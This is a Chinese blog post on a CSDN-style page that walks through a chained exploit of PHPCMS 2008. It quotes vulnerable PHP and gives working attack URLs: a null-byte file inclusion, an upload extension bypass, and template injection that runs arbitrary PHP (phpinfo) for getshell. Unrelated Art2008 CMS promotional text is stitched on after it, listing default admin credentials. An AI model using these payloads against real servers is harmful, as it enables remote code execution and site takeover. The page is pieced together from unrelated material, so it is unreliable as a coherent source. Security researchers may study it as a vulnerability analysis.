category.php漏洞,phpcms 2008多个漏洞 (可getshell)

一个漏洞不可怕,可怕的是一连串的漏洞,拼接起来就可以getshell了。

###文件包含

define('IN_YP', TRUE);

define('ADMIN_ROOT', str_replace("", '/',dirname(__FILE__)).'/');

require '../include/common.inc.php';

## 要登陆

if(!$_userid) showmessage('您还没有登陆,即将跳转到登陆页面',$MODULE['member']['url'].'login.php?forward='.urlencode(URL));

session_start();

## $file变量可控制

if(!isset($file) || empty($file)) $file = 'panel';

/* $company_user_infos 获取企业会员信息 */

$company_user_infos = $db->get_one("SELECT * FROM `".DB_PRE."member_company` WHERE `userid`='$_userid'");

$userid = $_userid;

## 注册的时候选择企业用户

if(!$company_user_infos)

{

$MS['title'] = '您不是企业会员';

$MS['description'] = '你可以做下面操作';

$MS['urls'][0] = array(

'name'=>'免费升级为企业会员',

'url'=>$PHPCMS['siteurl'].$M['url'].'company.php?action=member',

);

$MS['urls'][1] = array(

'name'=>'退出当前帐号,换其他帐号登陆',

'url'=>$PHPCMS['siteurl'].'member/logout.php',

);

$MS['urls'][2] = array(

'name'=>'重新注册为企业会员',

'url'=>$PHPCMS['siteurl'].'member/logout.php?forward='.urlencode($PHPCMS['siteurl'].'member/register.php'),

);

msg($MS);

}

$CATEGORY = subcat('yp');

$siteurl = company_url($userid, $company_user_infos['sitedomain']);

$_SESSION['url'] = QUERY_STRING;

if($file != 'company' && $M['enableSecondDomain'] && !$company_user_infos['sitedomain']) showmessage('请先绑定您的二级域名',BUSINESSDIR.'?file=company');

check_priv($file);

$GROUP = cache_read('member_group.php');

## 此处直接包含了,注意$file是可以控制的但须要截断

if(!@include ADMIN_ROOT.$file.'.inc.php') showmessage('The file ./yp/'.$file.'.inc.php is not exists!');

function check_priv($file)

{

global $M,$PHPCMS,$_groupid;

if(!$M["allow_add_$file"]) return true;

if(!in_array($_groupid,$M["allow_add_$file"]))

{

$MS['title'] = '您所在的会员组没有此项操作权限';

$MS['description'] = '你可以做下面操作';

$MS['urls'][0] = array(

'name'=>'升级会员组',

'url'=>$PHPCMS['siteurl'].'member/upgrade.php',

);

$MS['urls'][1] = array(

'name'=>'返回商务中心',

'url'=>'?',

);

msg($MS);

}

}

?>

## 利用注册一个企业用户

EXP:http://localhost/phpcms/yp/business/?file=../../xxoo.txt%00.

由于涉及截断,所以鸡肋了,哥是要去拿shell的。

## 再看这一句

if(!@include ADMIN_ROOT.$file.'.inc.php') showmessage('The file ./yp/'.$file.'.inc.php is not exists!');

以.inc.php结尾的文件有大把随便找个有漏的文件包含进来,不就能二次利用了?

## 首先进入视线的是/admin/upload.inc.php 看名字就知道如果能利用的话,将会.....(省略500字)

defined('IN_PHPCMS') or exit('Access Denied');

require_once 'attachment.class.php';

$attachment = new attachment($mod);

if($catid)

{

$C = cache_read('category_'.$catid.'.php');

}

## 允许上传的后缀是从$C里取的,变量$C要通过上面那个判断才能赋值,典型的变量未初始化

$upload_allowext = $C['upload_allowext'] ? $C['upload_allowext'] : UPLOAD_ALLOWEXT;

$upload_maxsize = $C['upload_maxsize'] ? $C['upload_maxsize'] : UPLOAD_MAXSIZE;

if($dosubmit)

{

$attachment->upload('uploadfile', $upload_allowext, $upload_maxsize, 1);

if($attachment->error) showmessage($attachment->error());

//判断是否开启附件ftp上传,返回图片路径

$imgurl = UPLOAD_FTP_ENABLE ? $attachment->uploadedfiles[0]['filepath'] : UPLOAD_URL.$attachment->uploadedfiles[0]['filepath'];

$aid = $attachment->uploadedfiles[0]['aid'];

$filesize = $attachment->uploadedfiles[0]['filesize'];

$filesize = $attachment->size($filesize);

if($isthumb || $iswatermark)

{

require_once 'image.class.php';

$image = new image();

$img = UPLOAD_ROOT.$attachment->uploadedfiles[0]['filepath'];

if($isthumb)

{

$image->thumb($img, $img, $width, $height);

}

if($iswatermark)

{

$image->watermark($img, $img, $PHPCMS['watermark_pos'], $PHPCMS['watermark_img'], '', 5, '#ff0000', $PHPCMS['watermark_jpgquality']);

}

}

showmessage("文件上传成功!", HTTP_REFERER);

}

else

{

include admin_tpl('upload');

}

?>

## 没什么好说的看EXP, 上传后查看网页源代码即可找到上传路径.

action="http://localhost/phpcms/yp/business/?file=../../admin/upload&C[upload_allowext]=php|Php%00.|php%00&dosubmit=yes" method="post">

Upload a new file:

## 传完后我才发现attachment.class.php 里有黑名单,怎么绕大家结合环境利用吧。

## 漏洞再一次被鸡肋化了,哥继续找。 再次进入视线的是block.inc.php,看名字貌似是跟模块有关的,难不成可以写个shell ?

## 猫了个咪,打开文件我就想骂人了,做为admin目录下的文件,没有任何权限判断。

## 看144行左右,当$action 等于 post时。

case 'post':

require_once 'template.func.php';

if($func == 'dosave') ## 这里完全不用管他,让他进入else

{

$block->set_template($blockid, $template);

$block->update($blockid, $data);

$data = $block->get_html($blockid);

}

else

{

$name = new_stripslashes($name);

$data = new_stripslashes($data);

$data = $block->strip_data($data);

$template = new_stripslashes($template);

$tpldata = template_parse($template);

$tplfile = TPL_CACHEPATH.'block_'.$blockid.'.preview.php'; ## 文件名

file_put_contents($tplfile, $tpldata); ## 生成文件

include $tplfile; ## 包含文件

@unlink($tplfile); ## 删除刚才生成的文件

$data = ob_get_contents();

ob_clean();

}

echo '';

break;

## 在这里可以生成一个php文件,并马上包含进来,随后又删除了。由于包含进来了,只要能控制php文件的内容,代码还是会被执行。

## 看取得文件内容的这一行,$tpldata = template_parse($template); 跟进template_parse函数

function template_parse($str, $istag = 0)

{

$str = preg_replace("/([nr]+)t+/s","1",$str);

$str = preg_replace("//s", "{1}",$str);

$str = preg_replace("/{templates+(.+)}/","<?php include template(1); ?>",$str);

$str = preg_replace("/{includes+(.+)}/","<?php include 1; ?>",$str);

$str = preg_replace("/{phps+(.+)}/","<?php 1?>",$str);

$str = preg_replace("/{ifs+(.+?)}/","<?php if(1) { ?>",$str);

$str = preg_replace("/{else}/","<?php } else { ?>",$str);

$str = preg_replace("/{elseifs+(.+?)}/","<?php } elseif (1) { ?>",$str);

$str = preg_replace("/{/if}/","<?php } ?>",$str);

$str = preg_replace("/{loops+(S+)s+(S+)}/","<?php if(is_array(1)) foreach(1 AS 2) { ?>",$str);

$str = preg_replace("/{loops+(S+)s+(S+)s+(S+)}/","<?php if(is_array(1)) foreach(1 AS 2 => 3) { ?>",$str);

$str = preg_replace("/{/loop}/","<?php } ?>",$str);

$str = preg_replace("/{/get}/","<?php } unset($DATA); ?>",$str);

$str = preg_replace("/{tag_([^}]+)}/e", "get_tag('1')", $str);

$str = preg_replace("/{gets+([^}]+)}/e", "get_parse('1')", $str);

$str = preg_replace("/{([a-zA-Z_x7f-xff][a-zA-Z0-9_x7f-xff:]*(([^{}]*)))}/","<?php echo 1;?>",$str);

$str = preg_replace("/{$([a-zA-Z_x7f-xff][a-zA-Z0-9_x7f-xff:]*(([^{}]*)))}/","<?php echo 1;?>",$str);

$str = preg_replace("/{($[a-zA-Z_x7f-xff][a-zA-Z0-9_x7f-xff]*)}/","<?php echo 1;?>",$str);

$str = preg_replace("/{($[a-zA-Z0-9_[]'"$x7f-xff]+)}/es", "addquote('<?php echo 1;?>')",$str);

$str = preg_replace("/{([A-Z_x7f-xff][A-Z0-9_x7f-xff]*)}/s", "<?php echo 1;?>",$str);

if(!$istag) $str = "<?php defined('IN_PHPCMS') or exit('Access Denied'); ?>".$str;

return $str;

}

## 是用来处理一些模板语法,完全不用理会。

EXP:

http://localhost/yp/business/?file=../../admin/block&action=post&blockid=eval&template=<?php phpinfo();exit();?>

ee188dbf6bdcd53f4d0257707f7571f3.png

判断要严谨,多个地方缺少判断,判断应该用白名单而不是黑名单,黑名单你控制不来的。

厂商已经主动忽略漏洞,其实不是被忽略2008已经早都停止维护了。

转载请注明来自WebShell'S Blog,本文地址:https://www.webshell.cc/3864.html

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
Art2008 CMS是一款具有强大的功能的基于ASP语言的网站管理软件,支持ACCESS数据库。Art2008 CMS是一款完全开源的程序,都毫无保留的完全开放源代码,用户不需额外安装其他DLL组件,其最大的特点是易用,js调用方法,简单直观。 系统介绍 : Art2008 CMS系统功能完善,覆盖面广、扩展性强、负载能力好、模板调用非常灵活、管理方便,因此不仅适合于建设一般企业、政府、学校、个人等小型网站,同时也适合于建设地方门户、行业门户等大中型网站。 主要特性: 1、系统支持整站生成HTML静态和动态ASP 整个系统都可以生成静态HTML,有效的提高了系统的性能,不仅减轻服务器的负载提高搜索收录率,增加网站收录。同时也可以实现内容访问权限控制。 超多种生成文件命名形式可供选择,您可以随心所欲的设置要生成的扩展名,一切更可能的根据您的喜好DIY。 经过开发人员的优化,生成速度非常快,操作便捷。批量生成所有栏目及各个栏目各个时间段静态文件。 这种好处当您的栏目下有上万篇文章时越是明显,因为每次生成时不需要将所有页面重新生成一次,只需要根据预设定的生成最新更新的记录即可! 2、 网站模板与程序分离,支持多种标签调用,支持DIV CSS,通过模板设计便可实现个性化网站 Art2008 CMS实现了“网站模板与程序完全分离”的新概念, JS标签跨站调用,支持不同频道、栏目、专题、内容页应用不同的模 模板制作也非常方便,用户可以发布自己制作的模板,也可以下载安装他人分享的模板。 不需写任何一行代码,可以使用自己熟悉的工具,如Frontpage、Dreamwaver等来制作模板。用户完全可以自行设计模板,从而更好的体现用户的个性和特色。 3、上传文件管理,根据时间进行文件夹分类管理,很方便的进行文件清理,大大节约空间资源:系统后台可以根据管理员操作的项目来清理无效、过期的文件,从而大大节约了空间,节约了成本。 4、支持在线支付和充值卡充值功能,提供完善的财务管理功能和消费明细,每个栏目都可以进行完善的权限设定(浏览、查看、投稿发表等各种权限)和内容收费,可帮助用户轻松建立电子商务网站。 5 、支持多级管理权限控制,让网站多人维护更轻松 系统支持设置栏目管理员管理员,同时还可以根据需求分配不同的权限给他们进行管理,帮助用户轻松实现网站多人维护。 6、多重安全机制和权限控制,为网站安全保驾护航 支持后台Cookie加密、验证码IP锁定、IP白名单、防SQL注入、防跨站脚本、防脚本文件上传等多重安全机制,并且后台支持按级别访问权限,为网站的安全运营提供最强有力的保障。 7、百度站点地图功能,生成和自动更新提交站点最新信息,可以大大的提高收录量。 8、强大的(信息)采集系统,可采文章信息,方便用户系统性的收集信息,使用简单,只需懂点html基础代码即可;支持内容、列表分页采集、多重过滤和内容字符替换:支持远程保存图片、批量入库操作、可预览采集结果。 9、DIGG功能:Digg中文翻译为“鼎革”,或者“顶格”, 它采取的是用户驱动的机制,通过一种类似民主投票的方式来表示对信息的支持和认可,使得被digg多的信息脱颖而出,出现在digg页面上。众多用户对此功能的评价是时尚 实用。 10、评论功能:网站是供大家交流的平台,后台可以启用审核与非审核模式。当有不合适不合时的言论,管理员只需审核这些评论即可,这一功能,大大减少了管理员的工作量,维护了网站的正常运行。 可以对任意栏目内容附加评论,可对单一评论回复和支持不支持,支持是否开启评论,游客回复等; 11、强大的数据备份和恢复功能,可以在线备份、恢复、压缩数据库。 12、支持广告类型:gif图片广告、FLASH广告、文字广告、HTML代码广告。 支持7种广告位显示方式: 页内嵌入循环:就是将广告位直接置入某页面一固定位置,并在同一位置循环显示广告位中的所有正常广告条,这样,每刷新一次就会更替显示一个新的广告条 上下排列置入:从上到下竖排广告位中的所有正常广告条 左右排列置入:从左到右横排广告位中的所有正常广告条 向上滚动置入:向上滚动显示广告位中的所有正常广告条 向左滚动置入:向左滚动显示广告位中的所有正常广告条 弹出多个窗口:页面打开时同时弹出多个窗口,每个窗口内显示一个广告条,弹出数量跟该广告位中的正常广告条数一致 循环弹出窗口:页面打开时同时弹出一个窗口,在同一窗口内循环显示广告位中的正常广告,这样,每刷新一次就会在弹出窗口中更替显示一个新的广告条 广告文件支持: 图片、动画、纯文本、嵌入代码、植入网页 只需后台修改广告即可更新广告;可设置广告过期时间,通用于站内所有位置调用,让你的站点处处体现商机。 13、后台操作日志管理,完整记录所有后台操作,可通过日志查出非法操作记录提供证据。 14、保存远程图片,添加或采集信息时,可选择远程保存图片到本地服务器,防止对方删除图片或者服务器不正常时图片不显示。 15、水印缩略图,可按要求等比缩小,可按要求在指定位置加图片或文字水印,提升内容被转载后的宣传机会。 16、强化在线编辑器(采用ewebeditor在线编辑器),可视化编辑器,类似word的所件即所得的在线内容编辑功能,支持表格、图片、FLASH、多种格式播放器插入,支持图片和附件上传。 17、字符过滤,自动过滤敏感字符,避免损害网站形象、避免网站被公安机关强制关闭。 18、关联链接,自由设置站内关联链接,自动给内容中的一些关键词加上链接,引导浏览者查看更多内容,提高网站黏度; 19、强大的会员互动功能 支持企业会员(制作中)和个人会员 支持会员注册、登录、退出、审核、锁定、资料修改等基本功能; 支持新会员注册时多种验证方式,邮件验证、管理员审核、密码找回; 支持一个会员账号只允许一个会员登录,可以有效防止一个会员账号多人使用的情况; 支持会员注册信息管理,轻松地收集所需的会员资料; 支持会员登录时是否需要验证码; 支持自定义会员组 支持注册会员赠送资金、积分、点券、有效期等计费方式并可兑换产品; 支持新会员注册时发送站内短信通知 支持在后台预设注册时禁止使用的用户名 支持前台会员投稿功能,可以让会员好的东西与大家分享 支持发送站内短信,邮件群发 支持我发表的评论管理 支持会员点券,有效期,资金明细,充值卡管理等 20、友情链接 支持链接分类、支持前台申请后台审核,支持按文字、logo等多种方式显示; 21、 站内调查模块 可设置单选或多选,可设置投票的有效期限,可限制同一IP在24小时内只能进行一次投票; 22、留言本(小型互动论坛) 访问者可以发表留言咨询,管理员可在后台进行回复,实现访可与管理员的互动交流; 23、文章页有上一篇,下一篇,长文章可以自动分页,信息量大,适合搜索引擎收录。 24、强大的图片新闻幻灯显示系统,采用FLASH或者纯图片方式,将您的图片文章以融合、百叶窗等多种交替方面幻灯显示,让您的网站与大网站相媲美 25、公告系统,分为站内公告和会员公告两种,4种公告调用方式一定会使您的网站更加绚丽。 2009_4_18(V3.1) 1、新增文章列表中批量删除文章同时删除静态文件功能; 2、新增文章列表中关键字查询功能; 3、新增两种静态内容页发布方式:发布最新添加;按文章ID发布 4、新增生成或更新静态的网站首页功能; 5、增强自动分页功能,新增一种时尚分页样式; 6、新增生成静态文章列表功能;添加或修改文章时自动生成文章静态列表; 7、修复栏目调用时,路径出错问题; 8、增强网站搜索功能; 9、修复系统中不能同时调用多个投票漏洞; 10、新增DIgg新闻中心排行生成静态调用; 11、修复其他细节问题; 后台登陆用户名:admin 密码:admin 后台认证码:art2008
Art2008 CMS是一款具有强大的功能的基于ASP语言的网站管理软件,支持ACCESS数据库。Art2008 CMS是一款完全开源的程序,都毫无保留的完全开放源代码,用户不需额外安装其他DLL组件,其最大的特点是易用,标签或js调用方法,简单直观。   Art2008 CMS系统功能完善,覆盖面广、扩展性强、负载能力好、模板调用非常灵活、管理方便,因此不仅适合于建设一般企业、政府、学校、个人等小型网站,同时也适合于建设地方门户、行业门户等大中型网站。 Art2008 CMS v5.1 更新   2012-04-20(V6.1) =========================================================== 1、 新增栏目管理中单页面编辑时可以上传图片; 2、 新增可现实多个视频列表标签; 3、 新增会员系统中会员组权限功能细化; 4、 新增栏目管理投稿栏目设定功能; 5、 新增模型中对会员投稿功能的权限控制; 6、 新增在模板样式中自定义列表样式支持自定义字段标签; 7、 新增自定义函数标签功能;标签灵活组合、综合运用,更方便您设计和调用页面; 8、 修复会员系统扣除点数和资金时显示的增加; 9、 修复文章系统添加二级栏目时页面错位问题; 10、修复在ie6下,会员系统添加文章出错; 11、修复在模型中,新添了字段后修改长度时,在数据库中,长度无法修改问题; 12、修复文章列表标签函数,推荐新闻不受置顶新闻影响; 13、修复上传图片选择器快速选定功能; 14、修复在线模板编辑使用可视化编辑后保存时,部分页头声明代码被替换问题;可以真正实现在线可视化编辑; 15、修复更新支付平台接口代码; 16、修改专题为整站专题,每个模型都可以设置专题; 17、修改替换系统在线编辑器选用ckeditor编辑器,兼容性强,操作简单! 18、全面修改会员系统,优化功能及会员权限; 19、修复其他细节问题;

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值